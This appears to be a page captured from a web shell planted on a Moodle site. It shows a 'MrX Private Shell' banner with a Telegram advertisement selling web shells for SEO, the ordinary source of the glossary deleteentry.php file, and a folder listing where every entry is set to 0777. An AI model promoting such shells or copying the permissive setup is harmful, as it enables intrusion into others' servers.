__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
require_once("../../config.php");
require_once("lib.php");
$id = required_param('id', PARAM_INT); // course module ID
$confirm = optional_param('confirm', 0, PARAM_INT); // commit the operation?
$entry = optional_param('entry', 0, PARAM_INT); // entry id
$prevmode = required_param('prevmode', PARAM_ALPHA);
$hook = optional_param('hook', '', PARAM_CLEAN);
$url = new moodle_url('/mod/glossary/deleteentry.php', array('id'=>$id,'prevmode'=>$prevmode));
if ($confirm !== 0) {
$url->param('confirm', $confirm);
}
if ($entry !== 0) {
$url->param('entry', $entry);
}
if ($hook !== '') {
$url->param('hook', $hook);
}
$PAGE->set_url($url);
$strglossary = get_string("modulename", "glossary");
$strglossaries = get_string("modulenameplural", "glossary");
$stredit = get_string("edit");
$entrydeleted = get_string("entrydeleted","glossary");
if (! $cm = get_coursemodule_from_id('glossary', $id)) {
throw new \moodle_exception("invalidcoursemodule");
}
if (! $course = $DB->get_record("course", array("id"=>$cm->course))) {
throw new \moodle_exception('coursemisconf');
}
if (! $entry = $DB->get_record("glossary_entries", array("id"=>$entry))) {
throw new \moodle_exception('invalidentry');
}
// Permission checks are based on the course module instance so make sure it is correct.
if ($cm->instance != $entry->glossaryid) {
throw new \moodle_exception('invalidentry');
}
require_login($course, false, $cm);
$context = context_module::instance($cm->id);
if (! $glossary = $DB->get_record("glossary", array("id"=>$cm->instance))) {
throw new \moodle_exception('invalidid', 'glossary');
}
// Throws an exception if the user cannot delete the entry.
mod_glossary_can_delete_entry($entry, $glossary, $context, false);
/// If data submitted, then process and store.
if ($confirm and confirm_sesskey()) { // the operation was confirmed.
mod_glossary_delete_entry($entry, $glossary, $cm, $context, $course, $hook, $prevmode);
redirect("view.php?id=$cm->id&mode=$prevmode&hook=$hook");
} else { // the operation has not been confirmed yet so ask the user to do so
$strareyousuredelete = get_string("areyousuredelete", "glossary");
$PAGE->navbar->add(get_string('delete'));
$PAGE->set_title($glossary->name);
$PAGE->set_heading($course->fullname);
$PAGE->activityheader->disable();
echo $OUTPUT->header();
$areyousure = "<b>".format_string($entry->concept)."</b><p>$strareyousuredelete</p>";
$linkyes = 'deleteentry.php';
$linkno = 'view.php';
$optionsyes = array('id'=>$cm->id, 'entry'=>$entry->id, 'confirm'=>1, 'sesskey'=>sesskey(), 'prevmode'=>$prevmode, 'hook'=>$hook);
$optionsno = array('id'=>$cm->id, 'mode'=>$prevmode, 'hook'=>$hook);
echo $OUTPUT->confirm($areyousure, new moodle_url($linkyes, $optionsyes), new moodle_url($linkno, $optionsno));
echo $OUTPUT->footer();
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| backup | Folder | 0777 |
|
|
| classes | Folder | 0777 |
|
|
| db | Folder | 0777 |
|
|
| formats | Folder | 0777 |
|
|
| lang | Folder | 0777 |
|
|
| pix | Folder | 0777 |
|
|
| templates | Folder | 0777 |
|
|
| tests | Folder | 0777 |
|
|
| README.txt | File | 1.7 KB | 0777 |
|
| TODO.txt | File | 607 B | 0777 |
|
| approve.php | File | 2.22 KB | 0777 |
|
| deleteentry.php | File | 2.87 KB | 0777 |
|
| deprecatedlib.php | File | 1.15 KB | 0777 |
|
| edit.php | File | 3.43 KB | 0777 |
|
| edit_form.php | File | 7.12 KB | 0777 |
|
| editcategories.html | File | 3.33 KB | 0777 |
|
| editcategories.php | File | 10.89 KB | 0777 |
|
| export.php | File | 2.95 KB | 0777 |
|
| exportentry.php | File | 4.47 KB | 0777 |
|
| formats.php | File | 9.51 KB | 0777 |
|
| import.php | File | 15.77 KB | 0777 |
|
| import_form.php | File | 1.13 KB | 0777 |
|
| index.php | File | 4.36 KB | 0777 |
|
| lib.php | File | 165.38 KB | 0777 |
|
| locallib.php | File | 29.26 KB | 0777 |
|
| mod_form.php | File | 11.18 KB | 0777 |
|
| print.php | File | 6.94 KB | 0777 |
|
| rsslib.php | File | 7.85 KB | 0777 |
|
| settings.php | File | 2.7 KB | 0777 |
|
| showentry.php | File | 3.42 KB | 0777 |
|
| sql.php | File | 3.83 KB | 0777 |
|
| styles.css | File | 2.5 KB | 0777 |
|
| tabs.php | File | 2.46 KB | 0777 |
|
| upgrade.txt | File | 1.36 KB | 0777 |
|
| version.php | File | 1.2 KB | 0777 |
|
| view.php | File | 17.37 KB | 0777 |
|